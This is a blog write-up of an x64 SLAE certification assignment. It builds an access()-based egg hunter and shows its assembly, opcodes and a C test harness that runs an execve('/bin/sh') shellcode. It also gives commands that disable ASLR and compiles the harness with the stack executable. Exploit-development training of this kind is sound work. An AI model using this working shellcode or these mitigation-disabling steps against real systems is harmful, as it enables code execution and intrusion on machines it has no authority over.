x64 SLAE — Assignment 3: Egg Hunter

Adam
4 min readDec 1, 2019

--

The third assignment for the x64 SLAE examination is to create an egg hunter that successfully can identify shellcode within an application’s virtual address space.

Introduction

In order to tackle this assessment the help of the de facto egg hunter whitepaper by Skape was leveraged. That can be found here.

The paper details various egg hunter implementations and their pros and cons. While writing up the x86 SLAE exam, the sigaction egg hunter was leveraged. In order to change things up, an access egg hunter will be created. Skape has assessed the pros and cons as follows:

Pros:

The positive aspects of this implementation are that it’s very robust. There should be no conditions where it would fail excluding some sort of aggressive prevention mechanisms that are as of yet unimplemented. The implementation is also reasonably small at 39bytes, but there is much room for improvement.Aside from this, the payload definitely meets the requirements for speed.

Cons:

The negative aspects of this implementation are mainly associated with its size.Many of the portions, as will be seen in subsequent implementations, are unnecessary and can be optimized away. Another concern with this implementation is that the egg has to be executable, thus limiting the range of unique eggs that can be used when searching.

In summary, an access egg hunter is designed to be fast at the cost of shellcode length. As indicated later in this write-up, there were problems with the large memory space the egg hunter needs to navigate. Therefore, it makes sense to leverage an egg hunter that was designed with speed in mind.

While the egg hunter can be customized to search for any 4 bytes, a simple string will be leveraged (“\x43\x43\x43\x43”). To use this egg hunter with any shellcode, simply prepend the desired shellcode with the egg as shown below:

"\x43\x43\x43\x43" + "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

Note: the shellcode used in this example is a simple x64 execve(“/bin/sh”) shellcode

Egg Hunter Shellcode

Now, the whitepaper does provide some sample assembly of what an egg hunter might look like. However, this shellcode only works for 32-bit systems so some modifications must be made. The original shellcode can be found below:

xor edx,edx  
or dx,0xfff
inc edx
lea ebx,[edx+0x4]
push byte +0x21
pop eax
int 0x80
cmp al,0xf2
jz 0x2
mov eax,0x50905090
mov edi,edx
scasd
jnz 0x7
scasd
jnz 0x7
jmp edi

Not only has the shellcode been updated to work on 64-bit systems but optimizations have also been added. The shellcode works as follows:

  1. start: initial registers are cleared
  2. next_page: the egg hunter enumerates pages by clearing the lower bits of rdx
  3. next_address: the egg hunter loops through the memory addresses one by one
  4. determine_access: the system call number is loaded into rax, with the memory address the egg hunter wants to access. If this system call succeeds, the shellcode will search each address within the page, otherwise jump to the next page.
  5. determine_access con’t: for each address in the page, the shellcode will check if it’s found the egg (which is dynamically created in memory to ensure the egg hunter doesn’t find itself). If the egg is found, the shellcode is executed.

The updated shellcode can be found below:

global _startsection .text_start:
; Clearing registers
xor rdx,rdx
mov rsi, rdx
; enumerate pages
next_page:
or dx, 0x0fff
; enumerate addresses in page
next_address:
inc rdx
; determine if we can access page
determine_access:
lea rdi, [rdx + 8]
xor rax, rax
add rax, 0x15
syscall
cmp al, 0xf2
jz next_page
; check if we found egg
mov eax, 0x43434342
inc eax
scasd
jne next_address
jmp rdi

Compile the shellcode with the following commands:

nasm -f elf64 egg_hunter.nasmld egg_hunter.o -o egg_hunterfor i in $(objdump -D egg_hunter | grep "^ "|cut -f2); do echo -n '\\x'$i; done; echo

This will result in the following payload:

\x48\x31\xd2\x48\x89\xd6\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x48\x31\xc0\x48\x83\xc0\x15\x0f\x05\x3c\xf2\x74\xe7\xb8\x42\x43\x43\x43\xff\xc0\xaf\x75\xe2\xff\xe7

Problems

During the development of the egg hunter, a problem arose. That problem was that the egg hunter would never find the execve shellcode. Hours and hours of debugging later the problem was identified. The address of the shellcode was printed:

Shellcode memory address:  0x555555558080

That address space is huge. Attempting to wait for the egghunter to find the egg would take a long time, making debugging a nightmare. So to make things a little easier two configurations were made:

  1. ASLR was turned off
# Turn ASLR off.
sudo su
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# When finished debugging execute the following to turn ASLR on
sudo su
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

2. The base address of the shellcode was hard coded into the egghunter

_start:
; Clearing registers
xor rdx,rdx
mov rsi, rdx
mov rdx, 0x555500000000

After successfully debugging the egg hunter, it should now work without the help.

Execution

With the egg hunter ready and the payload (with the egg to hunt), the final application can be built. This looks as follows:

#include <stdio.h>
#include <string.h>
unsigned char egghunter[] = \
"\x48\x31\xd2\x48\x89\xd6\x48\xba\x00\x00\x00\x55\x55\x55\x00\x00\x66\x81\xca\xff\x0f\x48\xff\xc2\x48\x8d\x7a\x08\x48\x31\xc0\x48\x83\xc0\x15\x0f\x05\x3c\xf2\x74\xe7\xb8\x42\x43\x43\x43\xff\xc0\xaf\x75\xe2\xff\xe7";
unsigned char code[] = \
"\x43\x43\x43\x43\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
printf("Shellcode memory address: %p\n", code);
int (*ret)() = (int(*)())egghunter;
ret();
return 0;
}

Compile the above code with the following and execute it. The egg hunter will find the egg and execute the shellcode:

gcc -fno-stack-protector -z execstack -o harness harness.c

This blog post has been created for completing the requirements of the x86_64 SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: PA-11200

The source code for this assignment can be found here.

--

--

Adam

Security consultant | Web, telecom, IoT security